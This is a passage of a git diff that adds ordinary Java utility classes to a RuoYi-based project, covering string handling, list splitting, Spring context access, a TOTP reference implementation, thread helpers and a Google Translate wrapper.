内容 + * @return 解码后的内容 + */ + public static String urlDecode(String str) + { + try + { + return URLDecoder.decode(str, Constants.UTF8); + } + catch (UnsupportedEncodingException e) + { + return StringUtils.EMPTY; + } + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/SplitListUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/SplitListUtil.java new file mode 100644 index 0000000..3c6f6f4 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/SplitListUtil.java @@ -0,0 +1,82 @@ +package com.ruoyi.common.utils; + + +import lombok.extern.slf4j.Slf4j; + +import java.util.ArrayList; +import java.util.List; + +/** + * @author : Tizzy
    + * @version : 1.0 + * @description : 切割list + * @date 2019/9/12 + */ + +@Slf4j +public class SplitListUtil { + + + /** + * 将一个list均分成n个list,主要通过偏移量来实现的 + * + * @param source 原集合 + * @param n 表示切割的份数 + * @return + */ + public static List> averageAssign(List source, int n) { + + log.info(" 切割的元数据 大小 {} ", source.size()); + + List> result = new ArrayList>(); + + int remaider = source.size() % n; //(先计算出余数) + int number = source.size() / n; //然后是商 + int offset = 0;//偏移量 + + for (int i = 0; i < n; i++) { + List value = null; + if (remaider > 0) { + value = source.subList(i * number + offset, (i + 1) * number + offset + 1); + remaider--; + offset++; + } else { + value = source.subList(i * number + offset, (i + 1) * number + offset); + } + result.add(value); + } + + log.info(" 切割完后的数据为 : {} ", result); + + return result; + } + + public static void main(String[] args) { + + + List lsit = new ArrayList<>(); + lsit.add(0); + lsit.add(10); + lsit.add(20); + lsit.add(30); + lsit.add(40); + lsit.add(50); + lsit.add(60); + lsit.add(70); + lsit.add(41); + lsit.add(71); + lsit.add(71); + + //分成两份 + List> lists = averageAssign(lsit, 2); + + System.out.println(lists); + + } + +} + + + + + diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/SpringContextUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/SpringContextUtil.java new file mode 100644 index 0000000..0b711d5 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/SpringContextUtil.java @@ -0,0 +1,58 @@ +package com.ruoyi.common.utils; + +import org.springframework.beans.BeansException; +import org.springframework.beans.factory.NoSuchBeanDefinitionException; +import org.springframework.context.ApplicationContext; +import org.springframework.context.ApplicationContextAware; +import org.springframework.stereotype.Component; + +@Component +public class SpringContextUtil implements ApplicationContextAware { + private static ApplicationContext applicationContext; + + public static ApplicationContext getApplicationContext() { + return applicationContext; + } + + // 下面的这个方法上加了@Override注解,原因是继承ApplicationContextAware接口是必须实现的方法 + @Override + public void setApplicationContext(ApplicationContext applicationContext) + throws BeansException { + SpringContextUtil.applicationContext = applicationContext; + } + + public static Object getBean(String name) + throws BeansException { + return applicationContext.getBean(name); + } + + public static Object getBean(String name, Class requiredType) + throws BeansException { + + return applicationContext.getBean(name, requiredType); + } + + public static T getBean(Class clazz) + throws BeansException { + return applicationContext.getBean(clazz); + } + + public static boolean containsBean(String name) { + return applicationContext.containsBean(name); + } + + public static boolean isSingleton(String name) + throws NoSuchBeanDefinitionException { + return applicationContext.isSingleton(name); + } + + public static Class getType(String name) + throws NoSuchBeanDefinitionException { + return applicationContext.getType(name); + } + + public static String[] getAliases(String name) + throws NoSuchBeanDefinitionException { + return applicationContext.getAliases(name); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/StringUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/StringUtils.java new file mode 100644 index 0000000..e683d54 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/StringUtils.java @@ -0,0 +1,614 @@ +package com.ruoyi.common.utils; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; +import org.springframework.util.AntPathMatcher; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.core.text.StrFormatter; + +/** + * 字符串工具类 + * + * @author ruoyi + */ +public class StringUtils extends org.apache.commons.lang3.StringUtils +{ + /** 空字符串 */ + private static final String NULLSTR = ""; + + /** 下划线 */ + private static final char SEPARATOR = '_'; + + /** + * 获取参数不为空值 + * + * @param value defaultValue 要判断的value + * @return value 返回值 + */ + public static T nvl(T value, T defaultValue) + { + return value != null ? value : defaultValue; + } + + /** + * * 判断一个Collection是否为空, 包含List,Set,Queue + * + * @param coll 要判断的Collection + * @return true:为空 false:非空 + */ + public static boolean isEmpty(Collection coll) + { + return isNull(coll) || coll.isEmpty(); + } + + /** + * * 判断一个Collection是否非空,包含List,Set,Queue + * + * @param coll 要判断的Collection + * @return true:非空 false:空 + */ + public static boolean isNotEmpty(Collection coll) + { + return !isEmpty(coll); + } + + /** + * * 判断一个对象数组是否为空 + * + * @param objects 要判断的对象数组 + ** @return true:为空 false:非空 + */ + public static boolean isEmpty(Object[] objects) + { + return isNull(objects) || (objects.length == 0); + } + + /** + * * 判断一个对象数组是否非空 + * + * @param objects 要判断的对象数组 + * @return true:非空 false:空 + */ + public static boolean isNotEmpty(Object[] objects) + { + return !isEmpty(objects); + } + + /** + * * 判断一个Map是否为空 + * + * @param map 要判断的Map + * @return true:为空 false:非空 + */ + public static boolean isEmpty(Map map) + { + return isNull(map) || map.isEmpty(); + } + + /** + * * 判断一个Map是否为空 + * + * @param map 要判断的Map + * @return true:非空 false:空 + */ + public static boolean isNotEmpty(Map map) + { + return !isEmpty(map); + } + + /** + * * 判断一个字符串是否为空串 + * + * @param str String + * @return true:为空 false:非空 + */ + public static boolean isEmpty(String str) + { + return isNull(str) || NULLSTR.equals(str.trim()); + } + + /** + * * 判断一个字符串是否为非空串 + * + * @param str String + * @return true:非空串 false:空串 + */ + public static boolean isNotEmpty(String str) + { + return !isEmpty(str); + } + + /** + * * 判断一个对象是否为空 + * + * @param object Object + * @return true:为空 false:非空 + */ + public static boolean isNull(Object object) + { + return object == null; + } + + /** + * * 判断一个对象是否非空 + * + * @param object Object + * @return true:非空 false:空 + */ + public static boolean isNotNull(Object object) + { + return !isNull(object); + } + + /** + * * 判断一个对象是否是数组类型(Java基本型别的数组) + * + * @param object 对象 + * @return true:是数组 false:不是数组 + */ + public static boolean isArray(Object object) + { + return isNotNull(object) && object.getClass().isArray(); + } + + /** + * 去空格 + */ + public static String trim(String str) + { + return (str == null ? "" : str.trim()); + } + + /** + * 截取字符串 + * + * @param str 字符串 + * @param start 开始 + * @return 结果 + */ + public static String substring(final String str, int start) + { + if (str == null) + { + return NULLSTR; + } + + if (start < 0) + { + start = str.length() + start; + } + + if (start < 0) + { + start = 0; + } + if (start > str.length()) + { + return NULLSTR; + } + + return str.substring(start); + } + + /** + * 截取字符串 + * + * @param str 字符串 + * @param start 开始 + * @param end 结束 + * @return 结果 + */ + public static String substring(final String str, int start, int end) + { + if (str == null) + { + return NULLSTR; + } + + if (end < 0) + { + end = str.length() + end; + } + if (start < 0) + { + start = str.length() + start; + } + + if (end > str.length()) + { + end = str.length(); + } + + if (start > end) + { + return NULLSTR; + } + + if (start < 0) + { + start = 0; + } + if (end < 0) + { + end = 0; + } + + return str.substring(start, end); + } + + /** + * 格式化文本, {} 表示占位符
    + * 此方法只是简单将占位符 {} 按照顺序替换为参数
    + * 如果想输出 {} 使用 \\转义 { 即可,如果想输出 {} 之前的 \ 使用双转义符 \\\\ 即可
    + * 例:
    + * 通常使用:format("this is {} for {}", "a", "b") -> this is a for b
    + * 转义{}: format("this is \\{} for {}", "a", "b") -> this is \{} for a
    + * 转义\: format("this is \\\\{} for {}", "a", "b") -> this is \a for b
    + * + * @param template 文本模板,被替换的部分用 {} 表示 + * @param params 参数值 + * @return 格式化后的文本 + */ + public static String format(String template, Object... params) + { + if (isEmpty(params) || isEmpty(template)) + { + return template; + } + return StrFormatter.format(template, params); + } + + /** + * 是否为http(s)://开头 + * + * @param link 链接 + * @return 结果 + */ + public static boolean ishttp(String link) + { + return StringUtils.startsWithAny(link, Constants.HTTP, Constants.HTTPS); + } + + /** + * 字符串转set + * + * @param str 字符串 + * @param sep 分隔符 + * @return set集合 + */ + public static final Set str2Set(String str, String sep) + { + return new HashSet(str2List(str, sep, true, false)); + } + + /** + * 字符串转list + * + * @param str 字符串 + * @param sep 分隔符 + * @param filterBlank 过滤纯空白 + * @param trim 去掉首尾空白 + * @return list集合 + */ + public static final List str2List(String str, String sep, boolean filterBlank, boolean trim) + { + List list = new ArrayList(); + if (StringUtils.isEmpty(str)) + { + return list; + } + + // 过滤空白字符串 + if (filterBlank && StringUtils.isBlank(str)) + { + return list; + } + String[] split = str.split(sep); + for (String string : split) + { + if (filterBlank && StringUtils.isBlank(string)) + { + continue; + } + if (trim) + { + string = string.trim(); + } + list.add(string); + } + + return list; + } + + /** + * 判断给定的collection列表中是否包含数组array 判断给定的数组array中是否包含给定的元素value + * + * @param collection 给定的集合 + * @param array 给定的数组 + * @return boolean 结果 + */ + public static boolean containsAny(Collection collection, String... array) + { + if (isEmpty(collection) || isEmpty(array)) + { + return false; + } + else + { + for (String str : array) + { + if (collection.contains(str)) + { + return true; + } + } + return false; + } + } + + /** + * 查找指定字符串是否包含指定字符串列表中的任意一个字符串同时串忽略大小写 + * + * @param cs 指定字符串 + * @param searchCharSequences 需要检查的字符串数组 + * @return 是否包含任意一个字符串 + */ + public static boolean containsAnyIgnoreCase(CharSequence cs, CharSequence... searchCharSequences) + { + if (isEmpty(cs) || isEmpty(searchCharSequences)) + { + return false; + } + for (CharSequence testStr : searchCharSequences) + { + if (containsIgnoreCase(cs, testStr)) + { + return true; + } + } + return false; + } + + /** + * 驼峰转下划线命名 + */ + public static String toUnderScoreCase(String str) + { + if (str == null) + { + return null; + } + StringBuilder sb = new StringBuilder(); + // 前置字符是否大写 + boolean preCharIsUpperCase = true; + // 当前字符是否大写 + boolean curreCharIsUpperCase = true; + // 下一字符是否大写 + boolean nexteCharIsUpperCase = true; + for (int i = 0; i < str.length(); i++) + { + char c = str.charAt(i); + if (i > 0) + { + preCharIsUpperCase = Character.isUpperCase(str.charAt(i - 1)); + } + else + { + preCharIsUpperCase = false; + } + + curreCharIsUpperCase = Character.isUpperCase(c); + + if (i < (str.length() - 1)) + { + nexteCharIsUpperCase = Character.isUpperCase(str.charAt(i + 1)); + } + + if (preCharIsUpperCase && curreCharIsUpperCase && !nexteCharIsUpperCase) + { + sb.append(SEPARATOR); + } + else if ((i != 0 && !preCharIsUpperCase) && curreCharIsUpperCase) + { + sb.append(SEPARATOR); + } + sb.append(Character.toLowerCase(c)); + } + + return sb.toString(); + } + + /** + * 是否包含字符串 + * + * @param str 验证字符串 + * @param strs 字符串组 + * @return 包含返回true + */ + public static boolean inStringIgnoreCase(String str, String... strs) + { + if (str != null && strs != null) + { + for (String s : strs) + { + if (str.equalsIgnoreCase(trim(s))) + { + return true; + } + } + } + return false; + } + + /** + * 将下划线大写方式命名的字符串转换为驼峰式。如果转换前的下划线大写方式命名的字符串为空,则返回空字符串。 例如:HELLO_WORLD->HelloWorld + * + * @param name 转换前的下划线大写方式命名的字符串 + * @return 转换后的驼峰式命名的字符串 + */ + public static String convertToCamelCase(String name) + { + StringBuilder result = new StringBuilder(); + // 快速检查 + if (name == null || name.isEmpty()) + { + // 没必要转换 + return ""; + } + else if (!name.contains("_")) + { + // 不含下划线,仅将首字母大写 + return name.substring(0, 1).toUpperCase() + name.substring(1); + } + // 用下划线将原始字符串分割 + String[] camels = name.split("_"); + for (String camel : camels) + { + // 跳过原始字符串中开头、结尾的下换线或双重下划线 + if (camel.isEmpty()) + { + continue; + } + // 首字母大写 + result.append(camel.substring(0, 1).toUpperCase()); + result.append(camel.substring(1).toLowerCase()); + } + return result.toString(); + } + + /** + * 驼峰式命名法 + * 例如:user_name->userName + */ + public static String toCamelCase(String s) + { + if (s == null) + { + return null; + } + if (s.indexOf(SEPARATOR) == -1) + { + return s; + } + s = s.toLowerCase(); + StringBuilder sb = new StringBuilder(s.length()); + boolean upperCase = false; + for (int i = 0; i < s.length(); i++) + { + char c = s.charAt(i); + + if (c == SEPARATOR) + { + upperCase = true; + } + else if (upperCase) + { + sb.append(Character.toUpperCase(c)); + upperCase = false; + } + else + { + sb.append(c); + } + } + return sb.toString(); + } + + /** + * 查找指定字符串是否匹配指定字符串列表中的任意一个字符串 + * + * @param str 指定字符串 + * @param strs 需要检查的字符串数组 + * @return 是否匹配 + */ + public static boolean matches(String str, List strs) + { + if (isEmpty(str) || isEmpty(strs)) + { + return false; + } + for (String pattern : strs) + { + if (isMatch(pattern, str)) + { + return true; + } + } + return false; + } + + /** + * 判断url是否与规则配置: + * ? 表示单个字符; + * * 表示一层路径内的任意字符串,不可跨层级; + * ** 表示任意层路径; + * + * @param pattern 匹配规则 + * @param url 需要匹配的url + * @return + */ + public static boolean isMatch(String pattern, String url) + { + AntPathMatcher matcher = new AntPathMatcher(); + return matcher.match(pattern, url); + } + + @SuppressWarnings("unchecked") + public static T cast(Object obj) + { + return (T) obj; + } + + /** + * 数字左边补齐0,使之达到指定长度。注意,如果数字转换为字符串后,长度大于size,则只保留 最后size个字符。 + * + * @param num 数字对象 + * @param size 字符串指定长度 + * @return 返回数字的字符串格式,该字符串为指定长度。 + */ + public static final String padl(final Number num, final int size) + { + return padl(num.toString(), size, '0'); + } + + /** + * 字符串左补齐。如果原始字符串s长度大于size,则只保留最后size个字符。 + * + * @param s 原始字符串 + * @param size 字符串指定长度 + * @param c 用于补齐的字符 + * @return 返回指定长度的字符串,由原字符串左补齐或截取得到。 + */ + public static final String padl(final String s, final int size, final char c) + { + final StringBuilder sb = new StringBuilder(size); + if (s != null) + { + final int len = s.length(); + if (s.length() <= size) + { + for (int i = size - len; i > 0; i--) + { + sb.append(c); + } + sb.append(s); + } + else + { + return s.substring(len - size, len); + } + } + else + { + for (int i = size; i > 0; i--) + { + sb.append(c); + } + } + return sb.toString(); + } +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/TOTP.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/TOTP.java new file mode 100644 index 0000000..0531f2c --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/TOTP.java @@ -0,0 +1,231 @@ +package com.ruoyi.common.utils; +import javax.crypto.Mac; +import javax.crypto.spec.SecretKeySpec; +import java.lang.reflect.UndeclaredThrowableException; +import java.math.BigInteger; +import java.security.GeneralSecurityException; +import java.text.DateFormat; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.TimeZone; + +/** + * This is an example implementation of the OATH TOTP algorithm. Visit + * www.openauthentication.org for more information. + * + * @author Johan Rydell, PortWise, Inc. + */ + +public class TOTP { + + private TOTP() { + } + + /** + * This method uses the JCE to provide the crypto algorithm. HMAC computes a + * Hashed Message Authentication Code with the crypto hash algorithm as a + * parameter. + * + * @param crypto + * : the crypto algorithm (HmacSHA1, HmacSHA256, HmacSHA512) + * @param keyBytes + * : the bytes to use for the HMAC key + * @param text + * : the message or text to be authenticated + */ + private static byte[] hmac_sha(String crypto, byte[] keyBytes, byte[] text) { + try { + Mac hmac; + hmac = Mac.getInstance(crypto); + SecretKeySpec macKey = new SecretKeySpec(keyBytes, "RAW"); + hmac.init(macKey); + return hmac.doFinal(text); + } catch (GeneralSecurityException gse) { + throw new UndeclaredThrowableException(gse); + } + } + + /** + * This method converts a HEX string to Byte[] + * + * @param hex + * : the HEX string + * + * @return: a byte array + */ + + private static byte[] hexStr2Bytes(String hex) { + // Adding one byte to get the right conversion + // Values starting with "0" can be converted + byte[] bArray = new BigInteger("10" + hex, 16).toByteArray(); + + // Copy all the REAL bytes, not the "first" + byte[] ret = new byte[bArray.length - 1]; + for (int i = 0; i < ret.length; i++) + ret[i] = bArray[i + 1]; + return ret; + } + + private static final int[] DIGITS_POWER + // 0 1 2 3 4 5 6 7 8 + = { 1, 10, 100, 1000, 10000, 100000, 1000000, 10000000, 100000000 }; + + /** + * This method generates a TOTP value for the given set of parameters. + * + * @param key + * : the shared secret, HEX encoded + * @param time + * : a value that reflects a time + * @param returnDigits + * : number of digits to return + * + * @return: a numeric String in base 10 that includes + * {@link truncationDigits} digits + */ + + public static String generateTOTP(String key, String time, + String returnDigits) { + return generateTOTP(key, time, returnDigits, "HmacSHA1"); + } + + /** + * This method generates a TOTP value for the given set of parameters. + * + * @param key + * : the shared secret, HEX encoded + * @param time + * : a value that reflects a time + * @param returnDigits + * : number of digits to return + * + * @return: a numeric String in base 10 that includes + * {@link truncationDigits} digits + */ + + public static String generateTOTP256(String key, String time, + String returnDigits) { + return generateTOTP(key, time, returnDigits, "HmacSHA256"); + } + + /** + * This method generates a TOTP value for the given set of parameters. + * + * @param key + * : the shared secret, HEX encoded + * @param time + * : a value that reflects a time + * @param returnDigits + * : number of digits to return + * + * @return: a numeric String in base 10 that includes + * {@link truncationDigits} digits + */ + + public static String generateTOTP512(String key, String time, + String returnDigits) { + return generateTOTP(key, time, returnDigits, "HmacSHA512"); + } + + /** + * This method generates a TOTP value for the given set of parameters. + * + * @param key + * : the shared secret, HEX encoded + * @param time + * : a value that reflects a time + * @param returnDigits + * : number of digits to return + * @param crypto + * : the crypto function to use + * + * @return: a numeric String in base 10 that includes + * {@link truncationDigits} digits + */ + + public static String generateTOTP(String key, String time, + String returnDigits, String crypto) { + int codeDigits = Integer.decode(returnDigits).intValue(); + String result ; + + // Using the counter + // First 8 bytes are for the movingFactor + // Compliant with base RFC 4226 (HOTP) + while (time.length() < 16) + time = "0" + time; + + // Get the HEX in a Byte[] + byte[] msg = hexStr2Bytes(time); + byte[] k = hexStr2Bytes(key); + byte[] hash = hmac_sha(crypto, k, msg); + + // put selected bytes into result int + int offset = hash[hash.length - 1] & 0xf; + + int binary = ((hash[offset] & 0x7f) << 24) + | ((hash[offset + 1] & 0xff) << 16) + | ((hash[offset + 2] & 0xff) << 8) | (hash[offset + 3] & 0xff); + + int otp = binary % DIGITS_POWER[codeDigits]; + + result = Integer.toString(otp); + while (result.length() < codeDigits) { + result = "0" + result; + } + return result; + } + + public static void main(String[] args) { + // Seed for HMAC-SHA1 - 20 bytes + String seed = "3132333435363738393031323334353637383930"; + // Seed for HMAC-SHA256 - 32 bytes + String seed32 = "3132333435363738393031323334353637383930" + + "313233343536373839303132"; + // Seed for HMAC-SHA512 - 64 bytes + String seed64 = "3132333435363738393031323334353637383930" + + "3132333435363738393031323334353637383930" + + "3132333435363738393031323334353637383930" + "31323334"; + long T0 = 0; + long X = 30; + long testTime[] = { 59L, 1111111109L, 1111111111L, 1234567890L, + 2000000000L, 20000000000L }; + + String steps ; + DateFormat df = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + df.setTimeZone(TimeZone.getTimeZone("UTC")); + try { + System.out.println("+---------------+-----------------------+" + + "------------------+--------+--------+"); + System.out.println("| Time(sec) | Time (UTC format) " + + "| Value of T(Hex) | TOTP | Mode |"); + System.out.println("+---------------+-----------------------+" + + "------------------+--------+--------+"); + + for (int i = 0; i < testTime.length; i++) { + long T = (testTime[i] - T0) / X; + steps = Long.toHexString(T).toUpperCase(); + while (steps.length() < 16) + steps = "0" + steps; + String fmtTime = String.format("%1$-11s", testTime[i]); + String utcTime = df.format(new Date(testTime[i] * 1000)); + System.out.print("| " + fmtTime + " | " + utcTime + " | " + + steps + " |"); + System.out.println(generateTOTP(seed, steps, "8", "HmacSHA1") + + "| SHA1 |"); + System.out.print("| " + fmtTime + " | " + utcTime + " | " + + steps + " |"); + System.out.println(generateTOTP(seed32, steps, "8", + "HmacSHA256") + "| SHA256 |"); + System.out.print("| " + fmtTime + " | " + utcTime + " | " + + steps + " |"); + System.out.println(generateTOTP(seed64, steps, "8", + "HmacSHA512") + "| SHA512 |"); + + System.out.println("+---------------+-----------------------+" + + "------------------+--------+--------+"); + } + } catch (final Exception e) { + System.out.println("Error : " + e); + } + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/Threads.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/Threads.java new file mode 100644 index 0000000..71fe6d5 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/Threads.java @@ -0,0 +1,99 @@ +package com.ruoyi.common.utils; + +import java.util.concurrent.CancellationException; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 线程相关工具类. + * + * @author ruoyi + */ +public class Threads +{ + private static final Logger logger = LoggerFactory.getLogger(Threads.class); + + /** + * sleep等待,单位为毫秒 + */ + public static void sleep(long milliseconds) + { + try + { + Thread.sleep(milliseconds); + } + catch (InterruptedException e) + { + return; + } + } + + /** + * 停止线程池 + * 先使用shutdown, 停止接收新任务并尝试完成所有已存在任务. + * 如果超时, 则调用shutdownNow, 取消在workQueue中Pending的任务,并中断所有阻塞函数. + * 如果仍然超時,則強制退出. + * 另对在shutdown时线程本身被调用中断做了处理. + */ + public static void shutdownAndAwaitTermination(ExecutorService pool) + { + if (pool != null && !pool.isShutdown()) + { + pool.shutdown(); + try + { + if (!pool.awaitTermination(120, TimeUnit.SECONDS)) + { + pool.shutdownNow(); + if (!pool.awaitTermination(120, TimeUnit.SECONDS)) + { + logger.info("Pool did not terminate"); + } + } + } + catch (InterruptedException ie) + { + pool.shutdownNow(); + Thread.currentThread().interrupt(); + } + } + } + + /** + * 打印线程异常信息 + */ + public static void printException(Runnable r, Throwable t) + { + if (t == null && r instanceof Future) + { + try + { + Future future = (Future) r; + if (future.isDone()) + { + future.get(); + } + } + catch (CancellationException ce) + { + t = ce; + } + catch (ExecutionException ee) + { + t = ee.getCause(); + } + catch (InterruptedException ie) + { + Thread.currentThread().interrupt(); + } + } + if (t != null) + { + logger.error(t.getMessage(), t); + } + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/TranslatorUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/TranslatorUtil.java new file mode 100644 index 0000000..8818f5d --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/TranslatorUtil.java @@ -0,0 +1,185 @@ +package com.ruoyi.common.utils; + +import cn.hutool.json.JSONArray; + +import java.io.BufferedReader; +import java.io.InputStreamReader; +import java.net.HttpURLConnection; +import java.net.URL; +import java.net.URLEncoder; +import java.util.HashMap; +import java.util.Map; +import java.util.Objects; + + +/** + * @author GOOGLE翻译 + * + */ +public class TranslatorUtil { + + private static final Map LANGUAGE_MAP = new HashMap(); + + static { + init(); + } + + /** + * 初始化语言类 + */ + private static void init() { + LANGUAGE_MAP.put("auto", "Automatic"); + LANGUAGE_MAP.put("af", "Afrikaans"); + LANGUAGE_MAP.put("sq", "Albanian"); + LANGUAGE_MAP.put("am", "Amharic"); + LANGUAGE_MAP.put("ar", "Arabic"); + LANGUAGE_MAP.put("hy", "Armenian"); + LANGUAGE_MAP.put("az", "Azerbaijani"); + LANGUAGE_MAP.put("eu", "Basque"); + LANGUAGE_MAP.put("be", "Belarusian"); + LANGUAGE_MAP.put("bn", "Bengali"); + LANGUAGE_MAP.put("bs", "Bosnian"); + LANGUAGE_MAP.put("bg", "Bulgarian"); + LANGUAGE_MAP.put("ca", "Catalan"); + LANGUAGE_MAP.put("ceb", "Cebuano"); + LANGUAGE_MAP.put("ny", "Chichewa"); + LANGUAGE_MAP.put("zh_cn", "Chinese Simplified"); + LANGUAGE_MAP.put("zh_tw", "Chinese Traditional"); + LANGUAGE_MAP.put("co", "Corsican"); + LANGUAGE_MAP.put("hr", "Croatian"); + LANGUAGE_MAP.put("cs", "Czech"); + LANGUAGE_MAP.put("da", "Danish"); + LANGUAGE_MAP.put("nl", "Dutch"); + LANGUAGE_MAP.put("en", "English"); + LANGUAGE_MAP.put("eo", "Esperanto"); + LANGUAGE_MAP.put("et", "Estonian"); + LANGUAGE_MAP.put("tl", "Filipino"); + LANGUAGE_MAP.put("fi", "Finnish"); + LANGUAGE_MAP.put("fr", "French"); + LANGUAGE_MAP.put("fy", "Frisian"); + LANGUAGE_MAP.put("gl", "Galician"); + LANGUAGE_MAP.put("ka", "Georgian"); + LANGUAGE_MAP.put("de", "German"); + LANGUAGE_MAP.put("el", "Greek"); + LANGUAGE_MAP.put("gu", "Gujarati"); + LANGUAGE_MAP.put("ht", "Haitian Creole"); + LANGUAGE_MAP.put("ha", "Hausa"); + LANGUAGE_MAP.put("haw", "Hawaiian"); + LANGUAGE_MAP.put("iw", "Hebrew"); + LANGUAGE_MAP.put("hi", "Hindi"); + LANGUAGE_MAP.put("hmn", "Hmong"); + LANGUAGE_MAP.put("hu", "Hungarian"); + LANGUAGE_MAP.put("is", "Icelandic"); + LANGUAGE_MAP.put("ig", "Igbo"); + LANGUAGE_MAP.put("id", "Indonesian"); + LANGUAGE_MAP.put("ga", "Irish"); + LANGUAGE_MAP.put("it", "Italian"); + LANGUAGE_MAP.put("ja", "Japanese"); + LANGUAGE_MAP.put("jw", "Javanese"); + LANGUAGE_MAP.put("kn", "Kannada"); + LANGUAGE_MAP.put("kk", "Kazakh"); + LANGUAGE_MAP.put("km", "Khmer"); + LANGUAGE_MAP.put("ko", "Korean"); + LANGUAGE_MAP.put("ku", "Kurdish (Kurmanji)"); + LANGUAGE_MAP.put("ky", "Kyrgyz"); + LANGUAGE_MAP.put("lo", "Lao"); + LANGUAGE_MAP.put("la", "Latin"); + LANGUAGE_MAP.put("lv", "Latvian"); + LANGUAGE_MAP.put("lt", "Lithuanian"); + LANGUAGE_MAP.put("lb", "Luxembourgish"); + LANGUAGE_MAP.put("mk", "Macedonian"); + LANGUAGE_MAP.put("mg", "Malagasy"); + LANGUAGE_MAP.put("ms", "Malay"); + LANGUAGE_MAP.put("ml", "Malayalam"); + LANGUAGE_MAP.put("mt", "Maltese"); + LANGUAGE_MAP.put("mi", "Maori"); + LANGUAGE_MAP.put("mr", "Marathi"); + LANGUAGE_MAP.put("mn", "Mongolian"); + LANGUAGE_MAP.put("my", "Myanmar (Burmese)"); + LANGUAGE_MAP.put("ne", "Nepali"); + LANGUAGE_MAP.put("no", "Norwegian"); + LANGUAGE_MAP.put("ps", "Pashto"); + LANGUAGE_MAP.put("fa", "Persian"); + LANGUAGE_MAP.put("pl", "Polish"); + LANGUAGE_MAP.put("pt", "Portuguese"); + LANGUAGE_MAP.put("ma", "Punjabi"); + LANGUAGE_MAP.put("ro", "Romanian"); + LANGUAGE_MAP.put("ru", "Russian"); + LANGUAGE_MAP.put("sm", "Samoan"); + LANGUAGE_MAP.put("gd", "Scots Gaelic"); + LANGUAGE_MAP.put("sr", "Serbian"); + LANGUAGE_MAP.put("st", "Sesotho"); + LANGUAGE_MAP.put("sn", "Shona"); + LANGUAGE_MAP.put("sd", "Sindhi"); + LANGUAGE_MAP.put("si", "Sinhala"); + LANGUAGE_MAP.put("sk", "Slovak"); + LANGUAGE_MAP.put("sl", "Slovenian"); + LANGUAGE_MAP.put("so", "Somali"); + LANGUAGE_MAP.put("es", "Spanish"); + LANGUAGE_MAP.put("su", "Sundanese"); + LANGUAGE_MAP.put("sw", "Swahili"); + LANGUAGE_MAP.put("sv", "Swedish"); + LANGUAGE_MAP.put("tg", "Tajik"); + LANGUAGE_MAP.put("ta", "Tamil"); + LANGUAGE_MAP.put("te", "Telugu"); + LANGUAGE_MAP.put("th", "Thai"); + LANGUAGE_MAP.put("tr", "Turkish"); + LANGUAGE_MAP.put("uk", "Ukrainian"); + LANGUAGE_MAP.put("ur", "Urdu"); + LANGUAGE_MAP.put("uz", "Uzbek"); + LANGUAGE_MAP.put("vi", "Vietnamese"); + LANGUAGE_MAP.put("cy", "Welsh"); + LANGUAGE_MAP.put("xh", "Xhosa"); + LANGUAGE_MAP.put("yi", "Yiddish"); + LANGUAGE_MAP.put("yo", "Yoruba"); + LANGUAGE_MAP.put("zu", "Zulu"); + } + public static String translate(String langFrom, String langTo, String word) throws Exception { + + String url = + "https://translate.googleapis.com/translate_a/single?" + + "client=gtx" + + "&sl=" + langFrom + + "&tl=" + langTo + + "&dt=t&q=" + URLEncoder.encode(word, "UTF-8"); + + URL obj = new URL(url); + HttpURLConnection con = (HttpURLConnection) obj.openConnection(); + con.setRequestProperty("User-Agent", "Mozilla/5.0"); + + BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream())); + String inputLine; + StringBuffer response = new StringBuffer(); + + while ((inputLine = in.readLine()) != null) { + response.append(inputLine); + } + in.close(); + + return parseResult(response.toString()); + } + + private static String parseResult(String inputJson) throws Exception { + String result =""; + if(StringUtils.isNotBlank(inputJson)){ + JSONArray jsonArray = new JSONArray(inputJson); + Object o = jsonArray.get(0); + if(Objects.nonNull(o) && o instanceof JSONArray){ + JSONArray jsonArray2 = (JSONArray) o; + // JSONArray jsonArray3 = (JSONArray) jsonArray2.get(0); + for (int i = 0; i < jsonArray2.size(); i++) { + result += ((JSONArray) jsonArray2.get(i)).get(0).toString(); + } + } + } + return result; + } + + public static void main(String[] args) throws Exception { + String result = translate("zh-CN", "en","你是个猪吗"); + System.out.println(result); + } + + + +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/UdunUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/UdunUtils.java new file mode 100644 index 0000000..616ab5f --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/UdunUtils.java @@ -0,0 +1,51 @@ +package com.ruoyi.common.utils; + +import cn.hutool.core.util.RandomUtil; +import cn.hutool.crypto.SecureUtil; +import cn.hutool.http.HttpRequest; +import cn.hutool.http.HttpResponse; +import cn.hutool.json.JSONUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.util.HashMap; +import java.util.Map; + + +public class UdunUtils { + private static Logger logger = 